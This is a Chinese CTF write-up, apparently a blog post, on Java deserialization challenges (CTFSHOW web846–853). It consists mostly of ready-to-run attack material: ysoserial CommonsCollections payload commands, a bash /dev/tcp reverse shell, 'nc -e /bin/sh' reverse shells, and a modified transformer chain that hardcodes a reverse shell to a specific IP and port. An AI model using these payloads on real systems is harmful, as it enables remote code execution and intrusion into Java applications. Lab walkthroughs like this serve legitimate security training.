CTFSHOW web入门 java反序列化篇(更新中)

本文详细介绍Java反序列化漏洞的原理与利用方法,通过实际案例演示如何构造payload进行攻击,涉及工具使用及多种场景下的具体操作。


在做这部分题前,推荐大家先去学习下java反序列化,尤其是CC链
可以看下两个系列视频,收获颇多
https://space.bilibili.com/2142877265/channel/collectiondetail?sid=29805&ctype=0

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=23c2bbe4623ae526416ea7a1ec4679fc
从这部分开始看即可
在这里插入图片描述
下面大部分题目需要用到ysoserial工具。
工具下载地址链接: https://pan.baidu.com/s/1Sx61GihwHtDsaDXbL7Q7uQ?pwd=jt5w
也可下载源码自行构建
https://github.com/frohoff/ysoserial

记得base64编码后的payload再url编码一次

web846

URLDNS链
java -jar ysoserial.jar URLDNS "题目地址"|base64

web847

在ysoserial中cc1、cc3、cc5、cc6、cc7对应的commons-collections:3.1
cc2、cc4对应的commons-collections4:4.0
所以在3.1中随便挑一个运行反弹shell即可。
payload

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64 

这里使用bash反弹
bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1

web848

题目中提示不准用TransformedMap类反序列化
导致cc1无法使用更换其他的即可。
payload

java -jar ysoserial.jar CommonsCollections3 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64 

web849

首先只能使用cc2或者cc4,并且题目提示需要nc反弹。
那么把命令改成nc ip port -e /bin/sh
payload

java -jar ysoserial.jar CommonsCollections2 "nc ip port -e /bin/sh "|base64 

web850

cc3可用

java -jar ysoserial.jar CommonsCollections3  "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64

web851-web853

直接用工具打不通了,这里采用的方法是基于cc7改的,改成了适用于commons-collections4的链子

        Transformer[] transformers = new Transformer[]{
   
   
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
   
   String.class, Class[].class}, new Object[]{
   
   "getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{
   
   Object.class, Object[].class}, new Object[]{
   
   null, null}),
                new InvokerTransformer("exec", new Class[]{
   
   String.class}, new Object[]{
   
   "nc 1.15.153.196 4567 -e /bin/sh"})
        };
        Transformer transformerChain2 = new ChainedTransformer(transformers);

        
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值